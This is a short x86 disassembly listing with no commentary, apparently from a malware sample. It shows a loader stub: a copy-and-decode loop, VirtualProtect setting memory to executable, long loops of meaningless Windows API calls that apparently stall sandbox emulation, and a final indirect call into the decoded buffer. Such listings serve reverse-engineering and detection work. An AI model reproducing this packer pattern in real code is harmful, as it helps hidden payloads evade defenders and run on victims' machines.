mov dl, byte [esi + edx + 0xb2d3b]
mov byte [esi + eax], dl
cmp ecx, 0xd37
jne 0x40a7cb
push 0
lea eax, [esp + 0x12dc]
push eax
call edi
push 0
lea ecx, [esp + 0xadc]
push ecx
call ebp
mov ecx, dword [0xf4d184]
mov eax, dword [0xf318f4]
inc esi
cmp esi, ecx
jb 0x40a790
pop ebp
lea edx, [esp + 0x2cc]
push edx
push 0x40
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00408e10
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov ebx, 0xea7bb
lea esp, [esp]
cmp dword [0xf4d184], 0x3b3
jne 0x40a810
push 0
call esi
cmp dword [0xf4d184], 0x1189
jne 0x40a82e
push 0
lea eax, [esp + 0x2d0]
push eax
push 0
push 0
push 0
call edi
dec ebx
jne 0x40a800
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_FoldStringA]
xor esi, esi
nop
cmp esi, 0x156cae
jne 0x40a854
mov ecx, dword [0xf318f4]
mov dword [0xf327a4], ecx
cmp dword [0xf4d184], 0x734
jne 0x40a87e
push 0
lea edx, [esp + 0x2d8]
push edx
call edi
push 0
lea eax, [esp + 0x6d8]
push eax
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x24c129
jl 0x40a840
call dword [0xf327a4]
pop edi
pop esi
pop ebx
add esp, 0x1ac8
ret